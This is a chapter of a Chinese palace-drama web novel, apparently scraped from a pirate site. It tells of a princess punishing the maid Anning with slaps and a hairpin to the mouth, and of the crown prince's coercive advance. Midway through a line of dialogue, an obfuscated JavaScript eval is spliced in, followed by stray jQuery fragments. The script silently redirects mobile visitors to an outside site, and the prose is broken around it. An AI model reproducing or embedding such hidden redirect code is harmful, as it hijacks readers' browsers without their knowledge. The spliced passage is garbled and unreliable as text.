32. 挑衅

作品:《不遇风月

    哥哥是自己拦路虎,妹妹倒是自己福星。


    “大胆,见到公主竟然不行礼。”意兰断喝。


    安甯懒洋洋瞥她一眼,又看向徐宝阳,敷衍施礼,不待叫自己起身,便回屋去了。


    意兰目瞪口呆,“公主?”


    徐宝阳进屋,端坐椅上,气势十足,语气温柔,“让她跪下。”


    意兰扯过正涂药的安甯,一把摁在地上,安甯她手里的药滚到一边。


    “进宫多日,依然不懂规矩,今日我就替大哥好好教教你规矩,意兰,掌嘴。”


    ‘啪啪’两巴掌打在脸颊,火辣辣的疼,安甯受下,不见生气,反而笑出来,“公主若要教我规矩,今后不用向大皇子请示,只告知太子便可。”


    “什么意思?”徐宝阳挑眉。


    “公主冰雪聪明,如何连这点也看不出,如今我人在东宫,今后就是太子的人了。”安甯勾起嘴角,得意笑道,“公主既如此讲规矩,今后见到我要恭顺才是,毕竟,我成为太子的人后,就是主子了,公主今后要称呼我一声‘嫂子’才是。”


    徐宝阳嗤笑,“嫂子?就凭你?一个反贼的女儿?做什么白日梦。”


    安甯一面整理掉下来的碎发,一面得意道,“我可是阊都第一美人,太子被我美貌折服,不惜得罪大皇子也要把我要过来,可见对我用情至深,今后我便是这东宫的女主人,没有我的允许,凭你是公主也不能想来就来。”


    徐宝阳简直被她逗笑了,“想爬上主子床榻的奴才我见多了,似你这般单纯之人,我还是第一次见。”


    “那是你没见到太子对我的温柔,太子如今被我迷得神魂颠倒,一日也离不开。”安甯起身,整理自己衣裳,“我本想着,有大皇子这棵树,将来日子也不难过,谁知竟遇到太子,虽被灭门,成为孤女,如今有太子呵护,我这辈子也知足了,太子是储君,说不定我将来还能当皇后呢。”思及此,神色越发得意起来。


    徐宝阳起身,走到安甯身边,阴沉道,“你终于说出实话了。”


    “是,我说了,你能拿我如何?把我赶走?”安甯此刻完全是小人得志模样,“不如我们打个赌,看你能不能把我赶走。对了,我能进东宫,还要多谢公主你呢,若非你生辰,太子给你准备生辰礼物,看中我的刺绣,也不会注意到我。不过,也是我自己有本事。”


    徐宝阳揪着安甯前襟,双目喷火,“有我在,你的阴谋诡计别想得逞。”


    安甯挥开她的手,不把她放在眼里,“这里是东宫,太子才是主子,你说了不算。”


    安甯手劲不小,徐宝阳后退一步才站稳,瞪着安甯,恨不得把她生吞活剥。


    “要打我吗?你觉得我会怕?”安甯指指自己脸颊,“我越是受伤,太子越心疼,在他心中,公主便越是骄纵跋扈不可理喻。”


    徐宝阳不上当,坐回椅子,“你今日话倒是多。”


    安甯心一惊,莫不是演过头被察觉了,随即冷哼一声,“往日为活命,我自然谨小慎微,如今我有太子这个靠山,为何还要受你的气。”


    “那我就告诉你,为何受我的气,因为我是主,你是奴。”徐宝阳自小被洪道帝和高贵妃捧在手心里长大,哪里受过这个气,眼见这丫头如此嚣张,不做多想,只想让她吃吃苦头,对一旁的意兰道,“奴才安甯对主子出言不逊,扎她的嘴。”


    “是。”意兰跟着公主,亦养了个拿鼻孔看人的性子,闻言,命一旁丫头摁着安甯,抽下头上簪子便扎她的嘴。


    簪子扎进肉中,如刀在割,鲜血便流了下来。


    安甯受了两下,便用尽全力挣脱两个摁着自己的宫女,反手便给了意兰一巴掌,喝道,“你算个什么东西,这里是东宫,容不得你放肆。”


    徐宝阳拍案而起,怒目瞪圆,“反了天了。”


    “你也没资格在东宫撒野,有本事就让太子把我赶出去,只敢在太子不在时欺负我,算什么本事。”一把抹了下巴的血,硬气十足。


    安甯原意用激将法,使徐宝阳不趁人之危,谁知,徐宝阳素日里无人忤逆,压根不管什么激将法,当即便要拉安甯打板子。


    打板子是在院中,宫女太监看着,不能反抗,安甯暗自懊恼,这下真是挖坑自己跳了。


    很快,安甯便被摁在长凳上,一左一右的太监高举板子,很快落下。


    安甯紧紧闭上了眼睛。


    “你们在做什么?”


    安甯欣喜睁开眼,往日这声音自己避之不及,此刻却如闻天籁。


    徐宝阳哭诉,“太子哥哥,这奴才到了你这里,自以为得了势,便不把我放在眼里,我不管,我要你把她赶出去。”


    安甯趴在长凳上,脸藏得严实,心中高兴,便笑了出来,正是这样呢,公主,撒娇耍赖,使出浑身解数,让太子把我赶出去,这东宫,我一日也不想待。


    徐竟弘笑道,“一个奴才,也值得生这么大的气,这么多奴才看着呢,多不体面,她如何得罪你了?”


    “这贱人不安分守己,痴心妄想,连本公主都不放在眼里,这样的奴才,太子哥哥为何留在身边?”安甯方才一番激将和冷嘲热讽确实起了效应,此刻,徐宝阳一门心思要把他赶出去,“她这样一个爱慕虚荣贪图享受的女人,若留在东宫,小人得势,将来如何得了?今日不把我放在眼里,明日便要挟制太子哥哥了。”


    “那有你说的那般严重。”徐竟弘向屋内走去。


    徐宝阳紧跟其后,“你是没看见方才那丫头得意嚣张的模样,我半点没有夸张,意兰也在场,不信你问她。”


    徐宝阳平时便跋扈,容不得下人有一丝错处,轻则一顿臭骂,重则挨板子抽鞭子,徐竟弘只当是安甯服侍的不合她意,敷衍道,“行,她得罪了公主,日后我重重罚她。”


    安甯那贱人方才有多嚣张,此刻自己便要让的下场多惨,徐宝阳气鼓鼓道,“不行,我要你现在就罚她,把她赶出东宫。”


    下人端过茶,徐竟弘喝了一口,放在桌上,无奈道,“宝阳,我现在有事要处理,你先到别处玩好吗?”


    徐宝阳执拗的性子上来,“我受了那贱人的气,你若不赶那贱人出去,我便不走了。”


    徐竟弘头疼,“堂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919486|172717||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    堂公主,何苦和一个奴才过不去,有失体面。”


    “太子哥哥,你这样护着她,当真要娶她作太子妃?”徐宝阳狐疑,原本安甯的话她是不信的,眼下竟有几分相信了。


    “别胡说。”


    “既然不是,那你把她赶出去。”徐宝阳复坐直身子,脾气上来,十头牛拉不回来。


    徐竟弘想了想,将下人全部屏退,只留他二人,“你可知我为何把她留在这里?”


    “为何?”还不是贪图美色。


    “哥哥这太子之位不稳,你不是不明白,若坐稳这个位子,便需要更多人帮我,经淡江疫情一事,我看出老大是个人才,便有意招揽,谁知他竟无心帮我,若他投靠老四,你知道这意味这什么吗?”


    徐宝阳怒气微敛。


    “老大极在乎安甯,我将她留在身边,意在收复老大,待老大投靠于我,这丫头便没用了,届时,要打要骂要赶出宫,还不是随你高兴,只眼下不行,现在哥哥还需要她帮个小忙,你明白吗?”


    徐宝阳若有所思,“真的?”难道是安甯会错意,觉得太子哥哥看上她,便得意忘形起来?


    “当然。”徐竟弘正色道,“把你的小脾气收一收,莫要耽误了我的正事。”


    “好吧。”徐宝阳只好不情不愿地离开。


    安甯看到她出来,颇为失望,“公主这便要走了吗?”


    徐宝阳愤恨道,“且让你得意两日。”


    安甯不禁失望,太子究竟用什么法子说服心高气傲的公主呢?心中感叹,果然是知己知彼百战百胜,了解一个人后,便能游刃有余拿捏。


    嘴上的伤口隐隐作痛,安甯抚上嘴唇,这巴掌和针扎,自己岂非白受了,抬眼看到徐竟弘站在台矶之上,忙站好。


    徐竟弘道,“伤口严重吗?要不要请大夫来?”


    安甯默默摇头。


    “下去吧,这几日不用到我这里伺候。”


    安甯闷闷回房,这太子莫不是转了性?之前色起猴急,现在倒一派正人君子模样。


    回房中,安甯对镜涂药,脸颊上的指印十分明显,叹口气,公主这条路走不通,自己要另想法子了。


    东宫的药自然是极好的,不过几日,伤口痊愈,安甯便到徐竟弘身边伺候,态度恭顺且冷漠。


    徐竟弘接过茶,没有喝,放在桌上,“真不明白,你究竟在固执什么,留在我身边有什么不好?”


    “太子能将人留下来,莫不是连心也要管吗?”安甯垂眸。


    徐竟弘笑笑,“你太天真了,让一个人听话的法子要多少有多少。”


    安甯猛抬头,“你想做什么?”


    徐竟弘起身,走向安甯,安甯将托盘护在胸前,害怕后退。


    徐竟弘前进一步,安甯便后退一步,直到后背抵墙,退无可退。


    徐竟弘伸手揽住安甯的腰,让她靠向自己,“你现在要伤我吗?”


    显然,在与徐宝阳的冲突上,徐竟弘并不觉得她无辜,甚至心知肚明。


    安甯紧紧攥着茶盘,指尖泛白,一瞬间,脑海中闪过无数念头。